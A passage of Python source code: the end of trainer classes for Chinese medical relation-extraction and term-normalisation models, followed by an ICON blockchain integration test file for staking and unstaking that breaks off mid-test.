self.args) else: model.encoder.save_pretrained(output_dir) self.tokenizer.save_vocabulary(save_directory=output_dir) def _save_best_checkpoint(self, best_step): pass class RETrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(RETrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() if self.args.model_type == 'zen': input_ids, token_type_ids, attention_mask, flag, label, input_ngram_ids, \ ngram_attention_mask, ngram_token_type_ids, ngram_position_matrix = item else: input_ids, token_type_ids, attention_mask, flag, label = item input_ids, token_type_ids, attention_mask, flag, label = input_ids.to(self.args.device), \ token_type_ids.to(self.args.device), \ attention_mask.to(self.args.device), \ flag.to(self.args.device), label.to(self.args.device) if self.args.model_type == 'zen': input_ngram_ids = input_ngram_ids.to(self.args.device) ngram_position_matrix = ngram_position_matrix.to(self.args.device) ngram_attention_mask = ngram_attention_mask.to(self.args.device) ngram_token_type_ids = ngram_token_type_ids.to(self.args.device) loss, logits = model(input_ids, token_type_ids, attention_mask, flag, label, input_ngram_ids=input_ngram_ids, ngram_attention_mask=ngram_attention_mask, ngram_position_matrix=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids) else: loss, logits = model(input_ids, token_type_ids, attention_mask, flag, label) loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() if self.args.model_type == 'zen': input_ids, token_type_ids, attention_mask, flag, label, input_ngram_ids, \ ngram_attention_mask, ngram_token_type_ids, ngram_position_matrix = item else: input_ids, token_type_ids, attention_mask, flag, label = item input_ids, token_type_ids, attention_mask, flag, label = input_ids.to(self.args.device), \ token_type_ids.to(self.args.device), \ attention_mask.to(self.args.device), \ flag.to(self.args.device), label.to(self.args.device) with torch.no_grad(): if self.args.model_type == 'zen': input_ngram_ids = input_ngram_ids.to(self.args.device) ngram_position_matrix = ngram_position_matrix.to(self.args.device) ngram_attention_mask = ngram_attention_mask.to(self.args.device) ngram_token_type_ids = ngram_token_type_ids.to(self.args.device) loss, logits = model(input_ids, token_type_ids, attention_mask, flag, label, input_ngram_ids=input_ngram_ids, ngram_attention_mask=ngram_attention_mask, ngram_position_matrix=ngram_position_matrix, ngram_token_type_ids=ngram_token_type_ids) else: loss, logits = model(input_ids, token_type_ids, attention_mask, flag, label) if preds is None: preds = logits.detach().cpu().numpy() eval_labels = label.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, label.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) p, r, f1, _ = re_metric(preds, eval_labels) logger.info("%s-%s precision: %s - recall: %s - f1 score: %s", args.task_name, args.model_name, p, r, f1) return f1 def predict(self, test_samples, model, re_dataset_class): args = self.args logger = self.logger model.to(args.device) logger.info("***** Running prediction *****") with open(os.path.join(args.result_output_dir, 'CMeIE_test.json'), 'w', encoding="utf-8") as f: for data in test_samples: results, outputs = self.data_processor.build_text(data) spo_list = [re['spo_list'] for re in results] temp_re_dataset = re_dataset_class(outputs, data_processor=self.data_processor, tokenizer=self.tokenizer, max_length=args.max_length, mode="test", model_type=args.model_type, ngram_dict=self.ngram_dict) logits = [] with torch.no_grad(): for item in temp_re_dataset: if self.args.model_type == 'zen': input_ids, token_type_ids, attention_mask, flag, input_ngram_ids, ngram_attention_mask, ngram_token_type_ids, ngram_position_matrix = item else: input_ids, token_type_ids, attention_mask, flag = item input_ids, token_type_ids, attention_mask, flag = input_ids.to(args.device), \ token_type_ids.to(args.device), \ attention_mask.to(args.device), \ flag.to(args.device) if args.model_type == 'zen': input_ngram_ids = input_ngram_ids.to(self.args.device) ngram_position_matrix = ngram_position_matrix.to(self.args.device) ngram_attention_mask = ngram_attention_mask.to(self.args.device) ngram_token_type_ids = ngram_token_type_ids.to(self.args.device) ngram_max_length = self.ngram_dict.max_ngram_in_seq logit = model(input_ids=input_ids.view(1, -1), token_type_ids=token_type_ids.view(1, -1), attention_mask=attention_mask.view(1, -1), flag=flag.view(1, -1), input_ngram_ids=input_ngram_ids.view(1, -1), ngram_token_type_ids=ngram_token_type_ids.view(1, -1), ngram_attention_mask=ngram_attention_mask.view(1, -1), ngram_position_matrix=ngram_position_matrix.view(1, ngram_max_length, ngram_max_length)) else: logit = model(input_ids=input_ids.view(1, -1), token_type_ids=token_type_ids.view(1, -1), attention_mask=attention_mask.view(1, -1), flag=flag.view(1, -1)) # batch, labels logit = logit.argmax(dim=-1).squeeze(-1) # batch, logits.append(logit.detach().cpu().item()) for i in range(len(temp_re_dataset)): if logits[i] > 0: spo_list[i]['predicate'] = self.data_processor.id2predicate[logits[i]] new_spo_list = [] for spo in spo_list: if 'predicate' in spo.keys(): combined = True for text in data['text'].split("。"): if spo['object'] in text and spo['subject'] in text: combined = False break tmp = {} tmp['Combined'] = combined tmp['predicate'] = spo['predicate'].split('|')[0] tmp['subject'] = spo['subject'] tmp['subject_type'] = self.data_processor.pre_sub_obj[spo['predicate']][0] tmp['object'] = {'@value': spo['object']} tmp['object_type'] = {'@value': self.data_processor.pre_sub_obj[spo['predicate']][1]} new_spo_list.append(tmp) new_spo_list2 = [] # 去重 for s in new_spo_list: if s not in new_spo_list2: new_spo_list2.append(s) for i in range(len(new_spo_list2)): if 'object' not in new_spo_list2[i].keys(): del new_spo_list2[i] tmp_result = dict() tmp_result['text'] = data['text'] tmp_result['spo_list'] = new_spo_list2 json_data = json.dumps(tmp_result, ensure_ascii=False) f.write(json_data + '\n') def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) torch.save(model.state_dict(), os.path.join(output_dir, 'pytorch_model.pt')) self.logger.info('Saving models checkpoint to %s', output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model.encoder, self.tokenizer, self.ngram_dict, self.args) else: model.encoder.save_pretrained(output_dir) self.tokenizer.save_vocabulary(save_directory=output_dir) def _save_best_checkpoint(self, best_step): pass class CDNForCLSTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, recall_orig_eval_samples=None, recall_orig_eval_samples_scores=None, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(CDNForCLSTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) self.recall_orig_eval_samples = recall_orig_eval_samples self.recall_orig_eval_samples_scores = recall_orig_eval_samples_scores def training_step(self, model, item): model.train() text1 = item[0] text2 = item[1] labels = item[2].to(self.args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) outputs = model(labels=labels, **inputs) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(eval_dataloader), desc='Evaluation') for step, item in enumerate(eval_dataloader): model.eval() text1 = item[0] text2 = item[1] label = item[2].to(args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) logits = outputs if preds is None: preds = logits.detach().cpu().numpy() labels = label.cpu().numpy() else: preds = np.append(preds, logits.detach().cpu(), axis=0) labels = np.append(labels, label.detach().cpu().numpy(), axis=0) pbar(step, info="") preds = np.argmax(preds, axis=1) p, r, f1, _ = cdn_cls_metric(preds, labels) logger.info("%s-%s precision: %s - recall: %s - f1 score: %s", args.task_name, args.model_name, p, r, f1) return f1 def predict(self, test_dataset, model): args = self.args logger = self.logger test_dataset.text1 = test_dataset.text1 test_dataset.text2 = test_dataset.text2 test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Evaluation') for step, item in enumerate(test_dataloader): model.eval() text1 = item[0] text2 = item[1] if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, text2=text2, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, text2, return_tensors='pt', padding='max_length', truncation='longest_first', max_length=self.args.max_length) inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) logits = outputs if preds is None: preds = logits.detach().softmax(-1)[:, 1].cpu().numpy() else: preds = np.append(preds, logits.detach().softmax(-1)[:, 1].cpu().numpy(), axis=0) pbar(step, info="") preds = preds.reshape(len(preds) // args.recall_k, args.recall_k) np.save(os.path.join(args.result_output_dir, f'cdn_test_preds.npy'), preds) return preds def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) torch.save(model.state_dict(), os.path.join(output_dir, 'pytorch_model.pt')) self.logger.info('Saving models checkpoint to %s', output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model.encoder, self.tokenizer, self.ngram_dict, self.args) else: model.encoder.save_pretrained(output_dir) self.tokenizer.save_vocabulary(save_directory=output_dir) def _save_best_checkpoint(self, best_step): pass class CDNForNUMTrainer(Trainer): def __init__( self, args, model, data_processor, tokenizer, logger, model_class, train_dataset=None, eval_dataset=None, ngram_dict=None ): super(CDNForNUMTrainer, self).__init__( args=args, model=model, data_processor=data_processor, tokenizer=tokenizer, train_dataset=train_dataset, eval_dataset=eval_dataset, logger=logger, model_class=model_class, ngram_dict=ngram_dict ) def training_step(self, model, item): model.train() text1 = item[0] labels = item[1].to(self.args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, padding='max_length', max_length=self.args.max_length, truncation=True, return_tensors='pt') inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) outputs = model(labels=labels, **inputs) loss = outputs[0] loss.backward() return loss.detach() def evaluate(self, model): args = self.args logger = self.logger eval_dataloader = self.get_eval_dataloader() num_examples = len(eval_dataloader.dataset) preds = None eval_labels = None logger.info("***** Running evaluation *****") logger.info("Num samples %d", num_examples) for step, item in enumerate(eval_dataloader): model.eval() text1 = item[0] labels = item[1].to(args.device) if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, padding='max_length', max_length=self.args.max_length, truncation=True, return_tensors='pt') inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(labels=labels, **inputs) loss, logits = outputs[:2] if preds is None: preds = logits.detach().cpu().numpy() eval_labels = labels.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) eval_labels = np.append(eval_labels, labels.detach().cpu().numpy(), axis=0) preds = np.argmax(preds, axis=1) p, r, f1, _ = cdn_num_metric(preds, eval_labels) logger.info("%s-%s f1: %s", args.task_name, args.model_name, f1) return f1 def predict(self, model, test_dataset, orig_texts, cls_preds, recall_labels, recall_scores): args = self.args logger = self.logger test_dataloader = self.get_test_dataloader(test_dataset) num_examples = len(test_dataloader.dataset) model.to(args.device) preds = None logger.info("***** Running prediction *****") logger.info("Num samples %d", num_examples) pbar = ProgressBar(n_total=len(test_dataloader), desc='Evaluation') for step, item in enumerate(test_dataloader): model.eval() text1 = item if self.args.model_type == 'zen': inputs = convert_examples_to_features(text1=text1, ngram_dict=self.ngram_dict, tokenizer=self.tokenizer, max_seq_length=self.args.max_length, return_tensors=True) else: inputs = self.tokenizer(text1, padding='max_length', max_length=self.args.max_length, truncation=True, return_tensors='pt') inputs['input_ids'] = inputs['input_ids'].to(self.args.device) inputs['attention_mask'] = inputs['attention_mask'].to(self.args.device) inputs['token_type_ids'] = inputs['token_type_ids'].to(self.args.device) if self.args.model_type == 'zen': inputs['input_ngram_ids'] = inputs['input_ngram_ids'].to(self.args.device) inputs['ngram_position_matrix'] = inputs['ngram_position_matrix'].to(self.args.device) inputs['ngram_attention_mask'] = inputs['ngram_attention_mask'].to(self.args.device) inputs['ngram_token_type_ids'] = inputs['ngram_token_type_ids'].to(self.args.device) with torch.no_grad(): outputs = model(**inputs) if self.args.model_type == 'zen': logits = outputs else: logits = outputs[0] if preds is None: preds = logits.detach().cpu().numpy() else: preds = np.append(preds, logits.detach().cpu().numpy(), axis=0) pbar(step, info="") preds = np.argmax(preds, axis=1) recall_labels = np.array(recall_labels['recall_label']) recall_scores = recall_scores cdn_commit_prediction(orig_texts, cls_preds, preds, recall_labels, recall_scores, args.result_output_dir, self.data_processor.id2label) def _save_checkpoint(self, model, step): output_dir = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(step)) if not os.path.exists(output_dir): os.makedirs(output_dir) if self.args.model_type == 'zen': save_zen_model(output_dir, model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(output_dir) torch.save(self.args, os.path.join(output_dir, 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=output_dir) self.logger.info('Saving models checkpoint to %s', output_dir) def _save_best_checkpoint(self, best_step): model = self.model_class.from_pretrained(os.path.join(self.args.output_dir, f'checkpoint-{best_step}'), num_labels=self.data_processor.num_labels_num) if not os.path.exists(os.path.join(self.args.output_dir, 'num')): os.mkdir(os.path.join(self.args.output_dir, 'num')) if self.args.model_type == 'zen': save_zen_model(os.path.join(self.args.output_dir, 'num'), model=model, tokenizer=self.tokenizer, ngram_dict=self.ngram_dict, args=self.args) else: model.save_pretrained(os.path.join(self.args.output_dir, 'num')) torch.save(self.args, os.path.join(os.path.join(self.args.output_dir, 'num'), 'training_args.bin')) self.tokenizer.save_vocabulary(save_directory=os.path.join(self.args.output_dir, 'num')) self.logger.info('Saving models checkpoint to %s', os.path.join(self.args.output_dir, 'num'))

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Python

tests/integrate_test/iiss/prevote/test_iiss_stake.py

bayeshack2016/icon-service

36cab484d2e41548d7f2f74526f127ee3a4423fc

[ "Apache-2.0" ]

52

2018-08-24T02:28:43.000Z

2021-07-06T04:44:22.000Z

tests/integrate_test/iiss/prevote/test_iiss_stake.py

bayeshack2016/icon-service

36cab484d2e41548d7f2f74526f127ee3a4423fc

[ "Apache-2.0" ]

62

2018-09-17T06:59:16.000Z

2021-12-15T06:02:51.000Z

tests/integrate_test/iiss/prevote/test_iiss_stake.py

bayeshack2016/icon-service

36cab484d2e41548d7f2f74526f127ee3a4423fc

[ "Apache-2.0" ]

35

2018-09-14T02:42:10.000Z

2022-02-05T10:34:46.000Z

# -*- coding: utf-8 -*- # Copyright 2018 ICON Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """IconScoreEngine testcase """ from typing import TYPE_CHECKING, List from unittest.mock import patch from iconservice import SYSTEM_SCORE_ADDRESS from iconservice.icon_constant import Revision, ICX_IN_LOOP from tests.integrate_test.iiss.test_iiss_base import TestIISSBase if TYPE_CHECKING: from iconservice.iconscore.icon_score_result import TransactionResult class TestIISSStake(TestIISSBase): def test_full_stake(self): self.update_governance() # set Revision REV_IISS self.set_revision(Revision.IISS.value) # transfer 100 icx to self.addr_array[0] balance: int = 100 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) # estimate tx: dict = self.create_set_stake_tx(self._accounts[0], balance) estimate_step: int = self.estimate_step(tx) # set full stake step_price: int = self.get_step_price() estimate_fee: int = step_price * estimate_step # set full stake stake: int = balance tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake, expected_status=False) balance -= tx_results[0].step_used * tx_results[0].step_price # set full stake - estimated_fee stake: int = balance - estimate_fee tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - stake - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) def test_iiss_stake(self): self.update_governance() # set Revision REV_IISS self.set_revision(Revision.IISS.value) # gain 1000 icx balance: int = 1000 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) # set stake 50 icx stake: int = 50 * ICX_IN_LOOP unstake: int = 0 total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) expected_response = { "stake": stake } self.assertEqual(expected_response, actual_response) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 100 icx stake: int = 100 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) expected_response = { "stake": stake, } self.assertEqual(expected_response, actual_response) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 50 icx again stake: int = 50 * ICX_IN_LOOP unstake: int = 50 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) estimate_unstake_lock_period_response: dict = self.estimate_unstake_lock_period() expected_response = { "stake": stake, "unstake": unstake } self.assertEqual(expected_response['stake'], actual_response['stake']) self.assertEqual(expected_response['unstake'], actual_response['unstake']) self.assertIn('unstakeBlockHeight', actual_response) self.assertEqual(estimate_unstake_lock_period_response["unstakeLockPeriod"], actual_response["remainingBlocks"]) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 100 icx again stake: int = 100 * ICX_IN_LOOP unstake: int = 0 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) expected_response = { "stake": stake } self.assertEqual(expected_response, actual_response) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 50 icx again stake: int = 50 * ICX_IN_LOOP unstake: int = 50 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) estimate_unstake_lock_period_response: dict = self.estimate_unstake_lock_period() expected_response = { "stake": stake, "unstake": unstake } self.assertEqual(expected_response['stake'], actual_response['stake']) self.assertEqual(expected_response['unstake'], actual_response['unstake']) self.assertIn('unstakeBlockHeight', actual_response) self.assertEqual(estimate_unstake_lock_period_response["unstakeLockPeriod"], actual_response["remainingBlocks"]) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 150 icx stake: int = 150 * ICX_IN_LOOP unstake: int = 0 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) expected_response = { "stake": stake } self.assertEqual(expected_response, actual_response) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 50 icx stake: int = 50 * ICX_IN_LOOP unstake: int = 100 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) estimate_unstake_lock_period_response: dict = self.estimate_unstake_lock_period() expected_response = { "stake": stake, "unstake": unstake } self.assertEqual(expected_response['stake'], actual_response['stake']) self.assertEqual(expected_response['unstake'], actual_response['unstake']) self.assertIn('unstakeBlockHeight', actual_response) self.assertEqual(estimate_unstake_lock_period_response["unstakeLockPeriod"], actual_response["remainingBlocks"]) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # set stake 0 icx stake: int = 0 * ICX_IN_LOOP unstake: int = 150 * ICX_IN_LOOP total_stake = stake + unstake tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) balance -= tx_results[0].step_used * tx_results[0].step_price # get stake actual_response: dict = self.get_stake(self._accounts[0]) expected_response = { "stake": stake, "unstake": unstake, } self.assertEqual(expected_response['stake'], actual_response['stake']) self.assertEqual(expected_response['unstake'], actual_response['unstake']) self.assertIn('unstakeBlockHeight', actual_response) # get balance remain_balance: int = balance - total_stake actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) expired_block_height: int = actual_response['unstakeBlockHeight'] self.make_blocks(expired_block_height + 1) # after unstake_lock_period remain_balance: int = balance actual_balance: int = self.get_balance(self._accounts[0]) self.assertEqual(remain_balance, actual_balance) # update icx balance # estimate tx: dict = self.create_transfer_icx_tx(from_=self._accounts[0], to_=self._admin, value=0) estimate_step: int = self.estimate_step(tx) # set full stake step_price: int = self.get_step_price() estimate_fee: int = step_price * estimate_step tx = self.create_transfer_icx_tx(self._accounts[0], self._admin, balance - estimate_fee, step_limit=estimate_step) self.process_confirm_block_tx([tx]) # get balance actual_response: dict = self.get_stake(self._accounts[0]) expected_response = { "stake": 0 } self.assertEqual(expected_response, actual_response) def test_unstake(self): self.update_governance() # set Revision REV_IISS self.set_revision(Revision.IISS.value) # gain 10 icx balance: int = 10 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) # set stake stake: int = 8 * ICX_IN_LOOP tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - stake - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) # test scenario 1 total_stake: int = 8 for i in range(0, total_stake // 2): # stake reset self.set_stake(from_=self._accounts[0], value=total_stake * ICX_IN_LOOP) # delegation delegation_amount: int = (total_stake - i) * ICX_IN_LOOP delegations: list = [(self._accounts[0], delegation_amount)] self.set_delegation(from_=self._accounts[0], origin_delegations=delegations) # stake self.set_stake(from_=self._accounts[0], value=i * ICX_IN_LOOP, expected_status=False) response: dict = self.get_delegation(self._accounts[0]) voting_power: int = response['votingPower'] self.assertFalse(voting_power < 0) # test scenario 2 for i in range(total_stake // 2 + 1, total_stake + 1): # stake reset self.set_stake(from_=self._accounts[0], value=total_stake * ICX_IN_LOOP) # delegation delegation_amount: int = (total_stake - i) * ICX_IN_LOOP delegations: list = [(self._accounts[0], delegation_amount)] self.set_delegation(from_=self._accounts[0], origin_delegations=delegations) # stake self.set_stake(from_=self._accounts[0], value=i * ICX_IN_LOOP) response: dict = self.get_delegation(self._accounts[0]) voting_power: int = response['votingPower'] self.assertFalse(voting_power < 0) # test scenario 3 # stake reset self.set_stake(from_=self._accounts[0], value=total_stake * ICX_IN_LOOP) # delegation delegation_amount: int = total_stake * ICX_IN_LOOP - 1 delegations: list = [(self._accounts[0], delegation_amount)] self.set_delegation(from_=self._accounts[0], origin_delegations=delegations) # unstake 1 loop self.set_stake(from_=self._accounts[0], value=total_stake * ICX_IN_LOOP - 1) response: dict = self.get_delegation(self._accounts[0]) voting_power: int = response['votingPower'] self.assertFalse(voting_power < 0) # Fail # unstake 2 loop self.set_stake(from_=self._accounts[0], value=total_stake * ICX_IN_LOOP - 2, expected_status=False) response: dict = self.get_delegation(self._accounts[0]) voting_power: int = response['votingPower'] self.assertFalse(voting_power < 0) @patch("iconservice.iconscore.icon_score_context.IconScoreContext.unstake_slot_max", 10) def test_multiple_unstake(self): # in integrate tests unstaking period is about 20 so that patch UNSTAKE_SLOT_MAX to 10 unstake_slot_max = 10 self.update_governance() # set Revision REV_MULTIPLE_UNSTAKE self.set_revision(Revision.MULTIPLE_UNSTAKE.value) # gain 1000 icx balance: int = unstake_slot_max * 2 * ICX_IN_LOOP self.distribute_icx(accounts=self._accounts[:1], init_balance=balance) # set stake stake: int = unstake_slot_max * ICX_IN_LOOP tx_results: List['TransactionResult'] = self.set_stake(from_=self._accounts[0], value=stake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - stake - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance # unstake 10 unstake_list = [] unstake = stake // unstake_slot_max // 2 for i in range(unstake_slot_max): total_unstake = unstake * (i + 1) tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance unstake_list.append(unstake) response: dict = self.get_stake(self._accounts[0]) for i in range(unstake_slot_max): unstake_response = response["unstakes"][i]["unstake"] self.assertEqual(unstake_list[i], unstake_response) # increase unstake in last slot total_unstake = sum(unstake_list) + ICX_IN_LOOP tx_results: List["TransactionResult"] = self.set_stake(from_=self._accounts[0], value=stake-total_unstake) fee = tx_results[0].step_used * tx_results[0].step_price expected_balance: int = balance - fee response: int = self.get_balance(self._accounts[0]) self.assertEqual(expected_balance, response) balance = expected_balance response: dict = self.get_stake(self._accounts[0]) last_slot_block_height = response["unstakes"][unstake_slot_max-1]["unstakeBlockHeight"] original_unstake = unstake_list.pop() unstake_list.append(original_unstake + ICX_IN_LOOP) last_slot_block_height2 = response["unstakes"][unstake_slot_max-1]["unstakeBlockHeight"] for i in range(len(unstake_list)): self.assertEqual(unstake_list[i], response["unstakes"][i]["unstake"]) # unstakeBlockHeight in last slot will be updated 